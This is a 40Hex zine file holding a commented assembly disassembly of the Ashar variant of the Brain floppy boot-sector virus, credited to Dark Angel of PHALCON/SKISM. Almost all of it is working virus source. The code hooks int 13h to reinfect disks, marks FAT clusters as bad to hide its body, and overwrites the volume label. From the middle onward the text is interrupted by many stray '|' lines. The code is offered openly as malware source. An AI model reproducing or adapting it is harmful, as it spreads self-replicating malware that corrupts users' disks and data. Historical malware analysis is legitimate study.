2022-08-21 09:07:57 +00:00
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40Hex Number 8 Volume 2 Issue 4 File 008
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; This is the ashar variant of the classic Pakistani Brain virus. It is large
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; by today's standards, although it was one of the first. It is a floppy only
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; boot sector infector.
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brain segment byte public
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assume cs:brain, ds:brain
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; Disassembly done by Dark Angel of PHALCON/SKISM
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org 0
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cli
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jmp entervirus
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idbytes db 34h, 12h
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firsthead db 0
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firstsector dw 2707h
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curhead db 0
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cursector dw 1
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db 0, 0, 0, 0
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db 'Welcome to the Dungeon '
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copyright db '(c) 1986 Brain'
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db 17h
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db '& Amjads (pvt) Ltd VIRUS_SHOE '
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db ' RECORD v9.0 Dedicated to th'
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db 'e dynamic memories of millions o'
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db 'f virus who are no longer with u'
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db 's today - Thanks GOODNESS!! '
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db ' BEWARE OF THE er..VIRUS : \th'
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db 'is program is catching prog'
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db 'ram follows after these messeges'
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db '..... $'
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db '#@%$'
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db '@!! '
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entervirus:
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mov ax,cs
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mov ds,ax ; ds = 0
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mov ss,ax ; set stack to after
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mov sp,0F000h ; virus
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sti
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mov al,ds:[7C00h+offset firsthead]
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mov ds:[7C00h+offset curhead],al
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mov cx,ds:[7C00h+offset firstsector]
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mov ds:[7C00h+offset cursector],cx
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call calcnext
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mov cx,5 ; read five sectors
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mov bx,7C00h+200h ; after end of virus
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loadnext:
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call readdisk
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call calcnext
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add bx,200h
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loop loadnext
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mov ax,word ptr ds:[413h] ; Base memory size in Kb
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sub ax,7 ; - 7 Kb
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mov word ptr ds:[413h],ax ; Insert as new value
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mov cl,6
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shl ax,cl ; Convert to paragraphs
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mov es,ax
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mov si,7C00h ; Copy from virus start
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mov di,0 ; to start of memory
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mov cx,1004h ; Copy 1004h bytes
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cld
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rep movsb
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push es
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mov ax,200h
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push ax
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retf ; return to old boot sector
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readdisk:
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push cx
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push bx
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mov cx,4 ; Try 4 times
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tryread:
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push cx
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mov dh,ds:[7C00h+offset curhead]
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mov dl,0 ; Read sector from default
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mov cx,ds:[7C00h+offset cursector]
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mov ax,201h ; Disk to memory at es:bx
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int 13h
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jnc readOK
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mov ah,0 ; Reset disk
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int 13h ; (force read track 0)
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pop cx
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loop tryread
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int 18h ; ROM basic on failure
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readOK:
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pop cx
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pop bx
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pop cx
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retn
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calcnext:
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mov al,byte ptr ds:[7C00h+offset cursector]
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inc al
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mov byte ptr ds:[7C00h+offset cursector],al
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cmp al,0Ah
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jne donecalc
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mov byte ptr ds:[7C00h+offset cursector],1
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mov al,ds:[7C00h+offset curhead]
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inc al
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mov ds:[7C00h+offset curhead],al
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cmp al,2
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jne donecalc
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mov byte ptr ds:[7C00h+offset curhead],0
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inc byte ptr ds:[7C00h+offset cursector+1]
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donecalc:
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retn
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; the following is a collection of garbage bytes
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db 00h, 00h, 00h, 00h, 32h,0E3h
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db 23h, 4Dh, 59h,0F4h,0A1h, 82h
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db 0BCh,0C3h, 12h, 00h, 7Eh, 12h
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db 0CDh, 21h,0A2h, 3Ch, 5Fh
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a_data dw 050Ch
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; Second part of the virus begins here
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jmp short entersecondpart
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db '(c) 1986 Brain & Amjads (pvt) Ltd ',0
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readcounter db 4 ; keep track of # reads
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curdrive db 0
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int13flag db 0
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entersecondpart:
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mov cs:readcounter,1Fh
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xor ax,ax
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mov ds,ax ; ds -> interrupt table
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mov ax,ds:[13h*4]
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mov ds:[6Dh*4],ax
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mov ax,ds:[13h*4+2]
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mov ds:[6Dh*4+2],ax
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mov ax,offset int13 ; 276h
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mov ds:[13h*4],ax
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mov ax,cs
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mov ds:[13h*4+2],ax
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mov cx,4 ; 4 tries
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xor ax,ax
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mov es,ax ; es -> interrupt table
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tryreadbootsector:
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push cx
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mov dh,cs:firsthead
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mov dl,0
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mov cx,cs:firstsector
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mov ax,201h ; read from default disk
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mov bx,7C00h
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int 6Dh ; int 13h
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jnc readbootOK
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mov ah,0
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int 6Dh ; int 13h
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pop cx
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loop tryreadbootsector
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int 18h ; ROM basic on failure
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readbootOK: ; return control to
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; original boot sector
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;* jmp far ptr 0000:7C00h
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db 0EAh, 00h, 7Ch, 00h, 00h
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nop ; MASM NOP!!!
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int13:
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sti
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cmp ah,2 ; if not read request,
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jne doint13 ; do not go further
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cmp dl,2 ; if after second floppy,
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ja doint13 ; do not go further
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cmp ch,0 ; if not reading boot sector,
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jne regularread ; go handle as usual
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cmp dh,0 ; if boot sector,
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je readboot ; do I<-/>/\|> stuff
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regularread:
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dec cs:readcounter ; Infect after 4 reads
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jnz doint13 ; If counter still OK, don't
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; do anything else
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jmp short readboot ; Otherwise, try to infect
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doint13:
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jmp exitint13h
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readboot:
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; FINISH THIS!
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mov cs:int13flag,0 ; clear flag
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mov cs:readcounter,4 ; reset counter
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push ax
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push bx
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push cx
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push dx
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mov cs:curdrive,dl
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mov cx,4
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tryreadbootblock:
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push cx
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mov ah,0 ; Reset disk
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int 6Dh
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jc errorreadingbootblock ; Try again
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mov dh,0
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mov cx,1
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mov bx,offset readbuffer ; buffer @ 6BEh
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push es
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mov ax,cs
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mov es,ax
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mov ax,201h
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int 6Dh ; Read boot sector
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pop es
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jnc continuestuff ; continue if no error
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errorreadingbootblock:
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pop cx
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loop tryreadbootblock
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jmp short resetdisk ; too many failures
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nop
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continuestuff:
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pop cx ; get system id in boot block
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mov ax,word ptr cs:[offset readbuffer+4]
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cmp ax,1234h ; already infected?
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jne dodisk ; if not, infect it
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mov cs:int13flag,1 ; flag prev. infection
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jmp short noreset
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dodisk:
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push ds
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push es
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mov ax,cs
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mov ds,ax
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mov es,ax
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push si
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call writevirus ; infect the disk
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jc failme ; exit on failure
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mov cs:int13flag,2 ; flag success
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call changeroot ; manipulate volume label
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failme:
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pop si
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pop es
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pop ds
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jnc noreset ; don't reset on success
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resetdisk:
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mov ah,0 ; reset disk
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int 6Dh ; int 13h
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noreset:
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pop dx
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pop cx
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pop bx
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pop ax
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cmp cx,1
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jne exitint13h
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cmp dh,0
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jne exitint13h
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cmp cs:int13flag,1 ; already infected?
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jne wasntinfected ; if wasn't, go elsewhere
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mov cx,word ptr cs:[offset readbuffer+7]
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mov dx,word ptr cs:[offset readbuffer+5]
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mov dl,cs:curdrive ; otherwise, read real
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jmp short exitint13h ; boot sector
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wasntinfected:
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cmp cs:int13flag,2 ; successful infection?
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jne exitint13h ; if not, just do call
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mov cx,cs:firstsector
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mov dh,cs:firsthead
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exitint13h:
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int 6Dh ; int 13h
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retf 2
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db 15 dup (0)
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FATManip: ; returns al as error code
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jmp short delvedeeper
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nop
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FATManipreadcounter dw 3
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db ' (c) 1986 Brain & Amjads (pvt) Ltd'
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delvedeeper:
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call readFAT ; Get FAT ID byte
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mov ax,word ptr ds:[offset readbuffer]
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cmp ax,0FFFDh ; is it 360K disk?
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je is360Kdisk ; continue if so
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mov al,3 ; al=3 == not good disk
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stc ; flag error
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retn ; and exit
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is360Kdisk:
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mov cx,37h
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mov FATManipreadcounter,0 ; none found yet
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checknextsector:
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call FATentry12bit ; get entry in FAT
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cmp ax,0 ; unused?
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jne notunused
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inc FATManipreadcounter ; one more found unused
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cmp FATManipreadcounter,3 ; If need more,
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jne tryanother ; go there
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jmp short markembad ; found 3 consecutive
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nop ; empty sectors
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notunused:
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mov FATManipreadcounter,0 ; must start over
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tryanother:
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inc cx ; try next sector
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cmp cx,163h ; end of disk?
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jne checknextsector ; if not, continue
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mov al,1 ; al=1 == none empty
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stc ; Indicate error
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retn
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markembad:
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mov dl,3 ; 3 times
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markanotherbad:
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call markbad12bit
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dec cx
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dec dl
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jnz markanotherbad
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inc cx
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call calc1sttrack
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call writeFAT ; update FAT
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mov al,0 ; al=0 == ok
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clc ; indicate success
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retn
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markbad12bit:
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push cx
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push dx
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mov si,offset readbuffer ; si -> buffer
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mov al,cl
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shr al,1
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jc low_12 ; low bits
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call clus2offset12bit
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mov ax,[bx+si] ; get FAT entry
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and ax,0F000h ; mark it bad
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or ax,0FF7h
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jmp short putitback ; and put it back
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nop
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low_12:
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call clus2offset12bit
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mov ax,[bx+si] ; get FAT entry
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and ax,0Fh ; mark it bad
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or ax,0FF70h
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putitback:
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mov [bx+si],ax ; replace FAT entry
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mov word ptr ds:[400h][bx+si],ax ; in two places
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pop dx
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pop cx
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retn
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FATentry12bit:
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push cx
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mov si,offset readbuffer ; si->buffer
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mov al,cl
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shr al,1
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; Part 3 of the virus starts here
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jc want_high_12
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call clus2offset12bit
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mov ax,[bx+si]
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and ax,0FFFh
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jmp short exitFATentry12bit
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nop
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want_high_12:
|
|
|
|
|
call clus2offset12bit ; xxxxxxxxxxxx0000
|
|
|
|
|
mov ax,[bx+si] ; ^^^^^^^^^^^^wanted
|
|
|
|
|
and ax,0FFF0h ; mask wanted bits
|
|
|
|
|
mov cl,4 ; and move to correct
|
|
|
|
|
shr ax,cl ; position
|
|
|
|
|
exitFATentry12bit:
|
|
|
|
|
pop cx
|
|
|
|
|
retn
|
|
|
|
|
|
|
|
|
|
clus2offset12bit:
|
|
|
|
|
push dx
|
|
|
|
|
mov ax,3
|
|
|
|
|
mul cx
|
|
|
|
|
shr ax,1 ; ax = cx*1.5
|
|
|
|
|
mov bx,ax
|
|
|
|
|
pop dx
|
|
|
|
|
retn
|
|
|
|
|
|
|
|
|
|
readFAT:
|
|
|
|
|
mov ah,2 ; read
|
|
|
|
|
call FAT_IO
|
|
|
|
|
retn
|
|
|
|
|
|
|
|
|
|
writeFAT:
|
|
|
|
|
mov ah,3 ; write
|
|
|
|
|
call FAT_IO
|
|
|
|
|
retn
|
|
|
|
|
|
|
|
|
|
FAT_IO:
|
|
|
|
|
mov cx,4 ; try four times
|
|
|
|
|
FAT_IOLoop:
|
|
|
|
|
push cx
|
|
|
|
|
push ax
|
|
|
|
|
mov ah,0 ; reset disk
|
|
|
|
|
int 6Dh ; int 13h
|
|
|
|
|
pop ax
|
|
|
|
|
jc tryFAT_IOagain
|
|
|
|
|
mov bx,offset readbuffer
|
|
|
|
|
mov al,4 ; 4 sectors
|
|
|
|
|
mov dh,0 ; head 0
|
|
|
|
|
mov dl,curdrive
|
|
|
|
|
mov cx,2 ; sector 2
|
|
|
|
|
push ax ; (FAT)
|
|
|
|
|
int 6Dh ; int 13h
|
|
|
|
|
pop ax
|
|
|
|
|
jnc exitFAT_IO
|
|
|
|
|
tryFAT_IOagain:
|
|
|
|
|
pop cx
|
|
|
|
|
loop FAT_IOLoop
|
|
|
|
|
|
|
|
|
|
pop ax
|
|
|
|
|
pop ax
|
|
|
|
|
mov al,2
|
|
|
|
|
stc ; mark error
|
|
|
|
|
retn
|
|
|
|
|
exitFAT_IO:
|
|
|
|
|
pop cx
|
|
|
|
|
retn
|
|
|
|
|
|
|
|
|
|
calc1sttrack:
|
|
|
|
|
push cx
|
|
|
|
|
sub cx,2
|
|
|
|
|
shl cx,1 ; 2 sectors/cluster
|
|
|
|
|
add cx,0Ch ; start of data area
|
|
|
|
|
mov ax,cx ; ax = sector
|
|
|
|
|
mov cl,12h ; 4096
|
|
|
|
|
div cl ; ax/4096 = al rem ah
|
|
|
|
|
mov byte ptr firstsector+1,al
|
|
|
|
|
mov firsthead,0
|
|
|
|
|
inc ah
|
|
|
|
|
cmp ah,9 ; past track 9?
|
|
|
|
|
jbe notpasttrack9 ; nope, we are ok
|
|
|
|
|
sub ah,9 ; otherwise, adjust
|
|
|
|
|
mov firsthead,1
|
|
|
|
|
notpasttrack9:
|
|
|
|
|
mov byte ptr firstsector,ah
|
|
|
|
|
pop cx
|
|
|
|
|
retn
|
|
|
|
|
|
|
|
|
|
db 0, 0, 0, 0, 0, 0
|
|
|
|
|
r_or_w_root db 3
|
|
|
|
|
entrycount dw 35h
|
|
|
|
|
|
|
|
|
|
tempsave1 dw 303h
|
|
|
|
|
tempsave2 dw 0EBEh
|
|
|
|
|
tempsave3 dw 1
|
|
|
|
|
tempsave4 dw 100h
|
|
|
|
|
db 0E0h,0D8h, 9Dh,0D7h,0E0h, 9Fh
|
|
|
|
|
db 8Dh, 98h, 9Fh, 8Eh,0E0h
|
|
|
|
|
db ' (c) ashar $'
|
|
|
|
|
changeroot:
|
|
|
|
|
call readroot ; read in root directory
|
|
|
|
|
jc donotchangeroot
|
|
|
|
|
push di
|
|
|
|
|
call changevolume ; change volume label
|
|
|
|
|
pop di
|
|
|
|
|
jc donotchangeroot
|
|
|
|
|
call writeroot ; write back new root dir
|
|
|
|
|
donotchangeroot:
|
|
|
|
|
retn
|
|
|
|
|
; The following is just garbage bytes
|
|
|
|
|
db 0BBh, 9Bh, 04h,0B9h, 0Bh
|
|
|
|
|
db 0,8Ah,7,0F6h,0D8h,88h,4,46h,43h
|
|
|
|
|
db 0E2h,0F6h,0B0h,8,88h,4,0F8h,0C3h
|
|
|
|
|
db 0C6h, 06h
|
|
|
|
|
|
|
|
|
|
changevolume:
|
|
|
|
|
mov entrycount,6Ch
|
|
|
|
|
mov si,offset readbuffer+40h; 3nd dir entry
|
|
|
|
|
mov tempsave1,dx
|
|
|
|
|
mov ax,entrycount ; 6Ch
|
|
|
|
|
shr ax,1
|
|
|
|
|
mov tempsave3,ax ; 36h
|
|
|
|
|
shr ax,1
|
|
|
|
|
mov tempsave2,ax ; 1Bh
|
|
|
|
|
xchg ax,cx
|
|
|
|
|
and cl,43h ; cx = 3
|
|
|
|
|
mov di,tempsave2
|
|
|
|
|
add di,1E3h ; di = 01FE
|
|
|
|
|
findlabel:
|
|
|
|
|
mov al,[si]
|
|
|
|
|
cmp al,0
|
|
|
|
|
je dolabel ; no mo entries
|
|
|
|
|
mov al,[si+0Bh] ; attribute byte
|
|
|
|
|
and al,8 ; volume label?
|
|
|
|
|
cmp al,8 ; yes?
|
|
|
|
|
je dolabel ; then change it!
|
|
|
|
|
add si,20h ; go to next directory entry
|
|
|
|
|
dec entrycount
|
|
|
|
|
jnz findlabel ; loop back
|
|
|
|
|
stc ; Error!
|
|
|
|
|
retn
|
|
|
|
|
db 8Bh
|
|
|
|
|
dolabel:
|
|
|
|
|
mov bx,[di] ; offset a_data
|
|
|
|
|
xor bx,tempsave3 ; bx = 53Ah
|
|
|
|
|
mov tempsave3,si ; si->direntry
|
|
|
|
|
cli
|
|
|
|
|
mov ax,ss
|
|
|
|
|
mov tempsave1,ax
|
|
|
|
|
mov tempsave2,sp
|
|
|
|
|
mov ax,cs
|
|
|
|
|
mov ss,ax
|
|
|
|
|
mov sp,tempsave3
|
|
|
|
|
add sp,0Ch ;->reserved area
|
|
|
|
|
mov cl,51h
|
|
|
|
|
add dx,444Ch
|
|
|
|
|
mov di,2555h
|
|
|
|
|
mov cx,0C03h
|
|
|
|
|
repe cmpsw
|
|
|
|
|
mov ax,0B46h
|
|
|
|
|
mov cx,3
|
|
|
|
|
rol ax,cl ; ax = 5A30h
|
|
|
|
|
mov tempsave3,ax
|
|
|
|
|
mov cx,5
|
|
|
|
|
mov dx,8
|
|
|
|
|
sub tempsave3,5210h ; 820h
|
|
|
|
|
push tempsave3 ; store attributes/reserved
|
|
|
|
|
; I haven't commented the remainder of this procedure.
|
|
|
|
|
; It basically changes the volume label to read "(c) Brain"
|
|
|
|
|
|
|
|
|
|
; Comment mode OFF
|
|
|
|
|
|
|
|
|
|
dowhatever:
|
|
|
|
|
mov ah,[bx] ; 5a3h
|
|
|
|
|
inc bx
|
|
|
|
|
mov dl,ah
|
|
|
|
|
shl dl,1
|
|
|
|
|
jc dowhatever
|
|
|
|
|
searchstuff:
|
|
|
|
|
mov dl,[bx] ; dl=C2h
|
|
|
|
|
inc bx ; bx=53Eh
|
|
|
|
|
mov al,dl
|
|
|
|
|
shl dl,1
|
|
|
|
|
jc searchstuff
|
|
|
|
|
add ax,1D1Dh
|
|
|
|
|
push ax
|
|
|
|
|
inc tempsave3
|
|
|
|
|
db 73h, 01h ; jnc $+3
|
|
|
|
|
db 0EAh,0E2h,0E1h, 8Bh, 26h; jmp 268B:E1E2
|
|
|
|
|
xchg bp,ax
|
|
|
|
|
add al,0A1h
|
|
|
|
|
xchg bx,ax
|
|
|
|
|
add al,8Eh
|
|
|
|
|
sar bl,1
|
|
|
|
|
add dh,[bp+si]
|
|
|
|
|
clc
|
|
|
|
|
ret
|
|
|
|
|
;db 95h, 04h,0A1h, 93h, 04h, 8Eh
|
|
|
|
|
;db 0D0h,0FBh, 02h, 32h,0F8h,0C3h
|
|
|
|
|
|
|
|
|
|
; Comment mode ON
|
|
|
|
|
|
|
|
|
|
readroot:
|
|
|
|
|
mov r_or_w_root,2 ; set action code
|
|
|
|
|
jmp short do_rw_root ; easier to do w/
|
|
|
|
|
nop ; mov ah, 2
|
|
|
|
|
writeroot:
|
|
|
|
|
mov r_or_w_root,3
|
|
|
|
|
jmp short do_rw_root ; this is somewhat useless
|
|
|
|
|
nop
|
|
|
|
|
do_rw_root:
|
|
|
|
|
mov dh,0 ; head 0
|
|
|
|
|
mov dl,curdrive
|
|
|
|
|
mov cx,6 ; sector 6
|
|
|
|
|
mov ah,r_or_w_root
|
|
|
|
|
mov al,4 ; 4 sectors
|
|
|
|
|
mov bx,offset readbuffer
|
|
|
|
|
call doint13h
|
|
|
|
|
jc exit_rw_root ; quit on error
|
|
|
|
|
mov cx,1
|
|
|
|
|
mov dh,1 ; head 1
|
|
|
|
|
mov ah,r_or_w_root
|
|
|
|
|
mov al,3
|
|
|
|
|
add bx,800h
|
|
|
|
|
call doint13h
|
|
|
|
|
|
|
|
|
|
exit_rw_root:
|
|
|
|
|
retn
|
|
|
|
|
|
|
|
|
|
doint13h:
|
|
|
|
|
mov tempsave1,ax
|
|
|
|
|
mov tempsave2,bx
|
|
|
|
|
mov tempsave3,cx
|
|
|
|
|
mov tempsave4,dx
|
|
|
|
|
mov cx,4
|
|
|
|
|
|
|
|
|
|
doint13hloop:
|
|
|
|
|
push cx
|
|
|
|
|
mov ah,0 ; Reset disk
|
|
|
|
|
int 6Dh
|
|
|
|
|
jc errordoingint13h
|
|
|
|
|
mov ax,tempsave1
|
|
|
|
|
mov bx,tempsave2
|
|
|
|
|
mov cx,tempsave3
|
|
|
|
|
mov dx,tempsave4
|
|
|
|
|
int 6Dh ; int 13h
|
|
|
|
|
jnc int13hsuccess
|
|
|
|
|
errordoingint13h:
|
|
|
|
|
pop cx
|
|
|
|
|
loop doint13hloop
|
|
|
|
|
|
|
|
|
|
stc ; indicate error
|
|
|
|
|
retn
|
|
|
|
|
int13hsuccess:
|
|
|
|
|
pop cx
|
|
|
|
|
retn
|
|
|
|
|
|
|
|
|
|
db 0, 0, 0
|
|
|
|
|
; Part 4 of the virus starts here
|
|
|
|
|
tempstorecx dw 3
|
|
|
|
|
readwritecurrentdata dw 301h
|
|
|
|
|
|
|
|
|
|
writevirus:
|
|
|
|
|
call FATManip
|
|
|
|
|
jc exitwritevirus
|
|
|
|
|
mov cursector,1
|
|
|
|
|
mov curhead,0
|
|
|
|
|
mov bx,offset readbuffer
|
|
|
|
|
call readcurrent
|
|
|
|
|
mov bx,offset readbuffer
|
|
|
|
|
mov ax,firstsector
|
|
|
|
|
mov cursector,ax
|
|
|
|
|
mov ah,firsthead
|
|
|
|
|
mov curhead,ah
|
|
|
|
|
call writecurrent
|
|
|
|
|
call calcnextsector
|
|
|
|
|
mov cx,5
|
|
|
|
|
mov bx,200h
|
|
|
|
|
writeanothersector:
|
|
|
|
|
mov tempstorecx,cx
|
|
|
|
|
call writecurrent
|
|
|
|
|
call calcnextsector
|
|
|
|
|
add bx,200h
|
|
|
|
|
mov cx,tempstorecx
|
|
|
|
|
loop writeanothersector
|
|
|
|
|
|
|
|
|
|
mov curhead,0
|
|
|
|
|
mov cursector,1
|
|
|
|
|
mov bx,0
|
|
|
|
|
call writecurrent
|
|
|
|
|
clc ; indicate success
|
|
|
|
|
exitwritevirus:
|
|
|
|
|
retn
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
readcurrent:
|
|
|
|
|
mov readwritecurrentdata,201h
|
|
|
|
|
jmp short doreadwrite
|
|
|
|
|
nop
|
|
|
|
|
writecurrent:
|
|
|
|
|
mov readwritecurrentdata,301h
|
|
|
|
|
jmp short doreadwrite ; This is pointless.
|
|
|
|
|
nop
|
|
|
|
|
doreadwrite:
|
|
|
|
|
push bx
|
|
|
|
|
mov cx,4
|
|
|
|
|
|
|
|
|
|
tryreadwriteagain:
|
|
|
|
|
push cx
|
|
|
|
|
mov dh,curhead
|
|
|
|
|
mov dl,curdrive
|
|
|
|
|
mov cx,cursector
|
|
|
|
|
mov ax,readwritecurrentdata ; read or write?
|
|
|
|
|
int 6Dh ; int 13h
|
|
|
|
|
jnc readwritesuccessful
|
|
|
|
|
mov ah,0 ; reset disk
|
|
|
|
|
int 6Dh ; int 13h
|
|
|
|
|
pop cx
|
|
|
|
|
loop tryreadwriteagain
|
|
|
|
|
|
|
|
|
|
pop bx
|
|
|
|
|
pop bx
|
|
|
|
|
stc ; Indicate error
|
|
|
|
|
retn
|
|
|
|
|
readwritesuccessful:
|
|
|
|
|
pop cx
|
|
|
|
|
pop bx
|
|
|
|
|
retn
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
calcnextsector:
|
|
|
|
|
inc byte ptr cursector ; next sector
|
|
|
|
|
cmp byte ptr cursector,0Ah
|
|
|
|
|
jne donecalculate ; finished calculations
|
|
|
|
|
mov byte ptr cursector,1 ; clear sector #
|
|
|
|
|
inc curhead ; and go to next head
|
|
|
|
|
cmp curhead,2 ; if not too large,
|
|
|
|
|
jne donecalculate ; we are done
|
|
|
|
|
mov curhead,0 ; otherwise clear head #
|
|
|
|
|
inc byte ptr cursector+1 ; and advance cylinder
|
|
|
|
|
donecalculate:
|
|
|
|
|
retn
|
|
|
|
|
|
|
|
|
|
db 64h, 74h, 61h
|
|
|
|
|
|
|
|
|
|
; read buffer starts here
|
|
|
|
|
; insert your favorite boot block below...
|
|
|
|
|
readbuffer:
|
|
|
|
|
brain ends
|
|
|
|
|
end
|
